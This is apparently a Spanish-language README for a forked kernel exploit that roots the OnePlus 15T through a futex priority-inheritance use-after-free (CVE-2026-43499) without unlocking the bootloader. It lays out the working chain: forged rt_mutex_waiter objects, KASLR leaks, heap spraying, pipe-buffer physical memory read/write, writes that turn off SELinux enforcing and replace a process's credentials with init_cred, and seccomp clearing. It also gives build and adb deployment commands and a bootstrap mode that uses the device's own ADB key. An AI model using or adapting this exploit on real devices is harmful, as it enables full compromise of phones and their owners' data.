
(CVE-2026-43499)Exploit del kernel para OnePlus 15T con el bootloader bloqueado.
Exploit de kernel dirigido a dispositivos OnePlus 15T con bootloader bloqueado. Utiliza CVE-2026-43499 para obtener acceso root sin desbloquear el bootloader ni modificar boot.img.
Solo para investigación de seguridad autorizada y fines educativos.
Modificado a partir del repositorio original GhostLock-for-OnePlus, adaptado para el diseño de memoria física y la temporización de CPU del OnePlus 15T (PLZ110 / SM8850 / Snapdragon 8 Elite).
La llamada al sistema pselect6 copia fd_set a la pila del kernel. Cuando se combina con el mecanismo de espera de futex PI, un marco de pila liberado puede reasignarse como una estructura rt_mutex_waiter. Durante el recorrido de la cadena PI, el reequilibrado del árbol rb escribe datos controlados en direcciones arbitrarias del kernel.
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
| Dispositivo | Nombre clave | SoC | Kernel | Firmware | Estado |
|---|---|---|---|---|---|
| OnePlus 15T | PLZ110 | SM8850 (Snapdragon 8 Elite) | 6.12.38-android16-5-g844001fb8721-ab14552068-4k | ColorOS 16.0.9.400 | ✅ Verificado |
Para Ace 6T y OnePlus 15, consulta el repositorio original.
GhostLock gestiona la escalada de privilegios. La instalación de KernelSU requiere ksud (incluido junto con kernelsu.ko específico de KMI):
| Fuente | Notas |
|---|---|
| APK de ReSukiSU (recomendado) | Instala ReSukiSU; el APK incluye |
Sin ksud, el exploit sigue obteniendo una shell root con uid=0, pero KernelSU no se instalará y
suno persistirá.
ANDROID_NDK_HOME o ANDROID_NDK_ROOT# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — ejecutable ELF ARM64 enlazado estáticamente.
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
Tras el primer éxito,
resetpropestablece automáticamentepersist.adb.tcp.port=5555, lo que permite ejecuciones totalmente automáticas en reinicios posteriores.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop127.0.0.1:5555/data/local/tmp/a/e --write1
Los offsets se almacenan en la tabla de búsqueda src/devices/offsets.h, indexada por uname -r. El programa realiza la coincidencia automáticamente al iniciarse; los kernels desconocidos se rechazan.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
Cuando los punteros del kernel están restringidos (kptr_restrict), la dirección base se filtra a través de boot_id sobrescrito con una dirección del kernel:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
Cuando el dispositivo ashmem es accesible, usa las primitivas de lectura/escritura de configfs para leer los punteros a función de la tabla fops de ashmem y calcular el offset de KASLR.
Falsifica objetos del kernel en páginas de orden 3 (32KB):
file_operations falsa — secuestra el puntero fops del miscdevice ashmemrt_mutex_waiter falsa — simula el nodo waiter de la cadena PItask_struct falsa — referencia de tarea durante el recorrido de PIrt_mutex falsa (bloqueo) — información correcta de waiter/ownerImplementado mediante SKB (socket buffer) + KernelSnitch:
mm_structsendmsg para llenar el heap del kernelTras obtener la base de KASLR, usa los búferes de pipe para acceder a la memoria a nivel físico:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
Soportadas: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
Tras sobrescribir cred, se realiza una verificación de lectura de las capacidades.
src/core/miniadb.c — cliente ligero del protocolo ADB para el modo bootstrap:
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
Admite los algoritmos de firma SHA-1 y SHA-256.
ghostlock-oneplus/
├── Makefile # Build configuration (NDK cross-compile)
├── README.md # Documentation
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Entry point: two-stage write + root shell
│ │ ├── fops.c # FOPS/CFI mode: pselect route, PI write, KASLR leak
│ │ ├── util.c # Utilities: heap spray, KASLR, kernel R/W primitives
│ │ ├── slide.c # SLIDE mode: boot_id KASLR leak + pselect route
│ │ ├── pipe.c # Pipe buffer physical memory R/W (physrw)
│ │ ├── root.c # Cred overwrite, seccomp clear, root child mgmt
│ │ ├── miniadb.c # Built-in ADB client (TCP + RSA auth)
│ │ ├── common.h # Global macros, structs, declarations, constants
│ │ ├── target.h # Target memory layout / struct offsets / KASLR params
│ │ ├── offset.h # Compile-time target config bridge (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct address leak
│ │ ├── kernelsnitch.h # Core algorithm: futex hash collision + brute-force
│ │ ├── futex_hash.h # Futex hash function
│ │ ├── timeutils.h # CPU timestamp measurement (RDTSC)
│ │ └── utils.h # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Device offset tables
│ ├── offsets.h # Aggregate all device offsets (lookup table + sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T offsets (2 kernel versions)
│ └── op15/offsets.h # OnePlus 15 offsets (1 kernel version)
└── tools/ # Offset extraction toolchain
├── extract_target.py # Extract kallsyms global symbol offsets (28 items)
└── extract_btf.py # Extract BTF struct field offsets (57 items)
Este repositorio ha sido modificado; consulta el repositorio original para más detalles.
Asegúrate de que estás ejecutándolo en una shell ADB. El contexto de app requiere --bootstrap.
Tu versión de kernel aún no es compatible. Sigue Añadir nuevos dispositivos para extraer los offsets y recompilar.
CORE)PSELECT_ENTER_DELAY_USECperf_event_open (usa --bootstrap en contexto de app)kaslr_base válido)ksud existe y es ejecutableload_policy)Solo para investigación de seguridad autorizada y fines educativos.
| Elemento | Detalle |
|---|
| CVE | CVE-2026-43499 |
| Tipo | Use-After-Free de Futex PI (herencia de prioridad) |
| Alcance | Kernel de Linux 2.6.39 ~ 7.1 |
| Corregido en | Mainline 7.1 (commit 3bfdc63936dd) |
| Estado en Android | GKI 6.12.x sigue siendo vulnerable |
libksud.so| Lanzamiento de CI | Descárgalo de CI de ReSukiSU (ksud-aarch64-linux-android.zip) |
| Tipo | Cantidad | Extracción |
|---|
| Símbolos globales de kallsyms | 28 | tools/extract_target.py |
| Campos de estructuras BTF | 57 | tools/extract_btf.py |
| Valores derivados | 9 | Calculados automáticamente |
| Constantes fijas | 12 | Codificadas (hardcoded) |
| Estructura | Campos | Propósito |
|---|
task_struct | 17 | Descriptor de proceso, cred, seccomp |
rt_mutex_waiter | 6 | Objetivo de falsificación del UAF |
cred | 4 | Credenciales, capacidades |
seccomp | 3 | Estado del filtro de seccomp |
pipe_inode_info | 11 | Operaciones de búfer de pipe |
file_operations | 13 | Tabla fops falsa |
mm_struct | 1 | Propietario del descriptor de memoria |
| Módulo | Archivo(s) | Responsabilidad |
|---|
| Entrada | main.c | Procesamiento de CLI, despacho de W1/W2, flujo de bootstrap |
| Ruta PI | fops.c / slide.c | Disposición de la pila pselect/select, manipulación de la cadena futex PI |
| KASLR | util.c / fops.c / slide.c | Evasión de doble modo: fuga de boot_id + fuga de la tabla fops |
| Heap Spray | util.c | Asignación de páginas de orden 3, SKB spray, disposición de los objetos falsificados |
| Phys R/W | pipe.c | Secuestro de búferes de pipe, acceso arbitrario a memoria física |
| Escalada de Privilegios | root.c | Sobrescritura de cred, verificación de capacidades, limpieza de seccomp |
| ADB | miniadb.c | Cliente ligero del protocolo ADB, autenticación RSA |
| Motor de Fugas | kernelsnitch/ | Colisión de hash de futex para localizar mm_struct |